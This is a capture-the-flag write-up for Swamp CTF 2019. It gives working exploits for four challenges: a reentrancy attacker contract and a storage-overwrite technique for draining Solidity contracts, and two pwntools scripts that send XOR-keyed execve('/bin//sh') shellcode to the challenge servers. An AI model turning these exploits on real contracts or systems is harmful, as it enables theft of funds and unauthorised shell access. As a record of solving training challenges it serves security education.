8 April 2019

Swamp CTF 2019

Challenge: Refundable Purchase - Smart Contracts

I’ve created a contract to make buying items online safer! (for the buyer at least) The funds stay in escrow in the contract until the buyer has received the item, in which they report they’ve received it (people are always honest, right!?). If they never receive the item, they can call refund to return their spent ether. Find a way to drain this contract of all pending refunds.

The contract has a vulnerable function refund(). It updates the owed amount after the ether is sent:

    /** Refunds sent Ether*/
    function refund() public {
        require(refunds[msg.sender] > 0);
        uint256 amount = refunds[msg.sender];
        msg.sender.call.value(amount)("");
        refunds[msg.sender] = 0;
        emit Refund(msg.sender, amount);
    }

Also, the money transfer msg.sender.call.value(amount(“”)), can be exploited when the receiver is another contract with a fallback function. In this fallback function, we call refund() again, draining the contract’s balance.

Here’s the attacker’s contract source. Deploy it with 0.5 Eth, then call the exploit function with the vulnerable contract as the argument:

pragma solidity ^0.4.24;

import "browser/reto3.sol";

contract AttackRefundablePurchase {
    function () external payable {
        if (msg.sender.balance>0) { //Keep asking for refund until the balance is 0
            RefundablePurchase c = RefundablePurchase(msg.sender);
            c.refund();
        }
    }
    
    constructor() public payable {
    }
    
    function exploit(address v) public payable {
        v.call.value(0.5 ether)(); //Send 0.5Eth to enter the refund map.
        
        RefundablePurchase c = RefundablePurchase(v);
        c.refund(); // Request the refund
    }   
}

Challenge: Loan Bank - Smart Contracts

I’ve created an autonomous loan bank to handle payment tracking for loans to your friends. The contract works on good faith (or many threats) that your borrower will pay back with interest. However, there’s a short period of time where loans are in limbo waiting to be claimed. Find a way to drain the contract of all its Ether. HINT: Call the init() function first

The contract sits between a loaner and the debtor. The loaner sends Eth to the contract using the makeLoan function, and the debtor can request it.

The vulnerability sits in the makeLoan function. It seems that it’s creating a Loan structure and adding it to the loans map, but somehow it’s overwriting the contracts storage. Actually, it overwrites the owner contract’s variable with the amount.

    /** Function called to loan eth to an address */
    function makeLoan(address receiver, uint256 amount) public payable {
        require(msg.value == tokenToWei(amount));
        require(msg.value > 0);

        // This overwrites the first variables of the contract (id, owner,...)
        Loan storage l;
        l.id = bytes32(_id);
        l.receiver = receiver;
        l.amount = amount;

        loans[msg.sender] = l;
    }

    /** Call to receive loaned eth */
    function receiveLoan(address loaner) public {
        require(!loans[loaner].received);
        loans[loaner].received = true;
        msg.sender.transfer(tokenToWei(loans[loaner].amount));
    }

    /** Change a loan amount. Only callable by the contract owner */
    function changeDebt(address loaner, uint256 amount) public onlyOwner {
        loans[loaner].amount = amount;
    }

    function tokenToWei(uint256 amount) internal returns (uint256) {
        return amount / CONVERSION_RATE;
    }

The exploit for draining the contract is simple:

  1. Make a loan with the correct amount, so that amount == int(our_address), and set the transaction value to tokenToWei(amount).
  2. Modify the debt amount, such as: tokenToWei(amount) == contract’s balance
  3. Call receiveLoan and drain the contract’s balance

Challenge: WetWare - Pwn

We have a binary (NX disabled) that asks for a password. It uses the first 8 bytes of the password to xor-drecrypt some bytes in memory, then jumps into that code. That code is, before xoring, d26f656d6f26d78c

When we arrive at that address, rsi points to our buffer. The first 8 bytes will be the xor key, but the rest is pure shellcode.

$ rasm2 -b64 "add rsi,8 ; push rsi; ret"
4883c60856c3
from pwn import *

io = connect("chal1.swampctf.com", 1337)
#Xor key so that the decryption produces the code above. 
payload = "\x9a\xec\xa3\x65\x39\xe5\xd7\x8c"
#execve("/bin//sh"): http://shell-storm.org/shellcode/files/shellcode-905.php
payload+= "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"

io.sendline(payload)
io.interactive()

Challenge: WetWare Hardened - Pwn

This time NX is enabled, we cannot use the stack directly. The code segment is still writable, but the xor key is just 6 bytes.

When we get to the decrypted code, rsi points to our input and rdi to a region in the code. We will copy those bytes, and then jump to them. We can do it in just 6 bytes:

mov cl, 64
rep movsd
jmp 0x0040021d      ; 8 bytes after rdi
rasm2 -o 0x004001cd -b64 "mov cl,64; rep movsd; jmp 0x0040021d"
b140f3a5eb4a
from pwn import *

io = connect("chal1.swampctf.com", 1338)
#Xor key so that the decryption produces the code above.
payload = "\x64\x2e\x9b\xcb\x85\x7b\x01\x01"
#execve("/bin//sh"): http://shell-storm.org/shellcode/files/shellcode-905.php
payload+= "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"

io.sendline(payload)
io.interactive()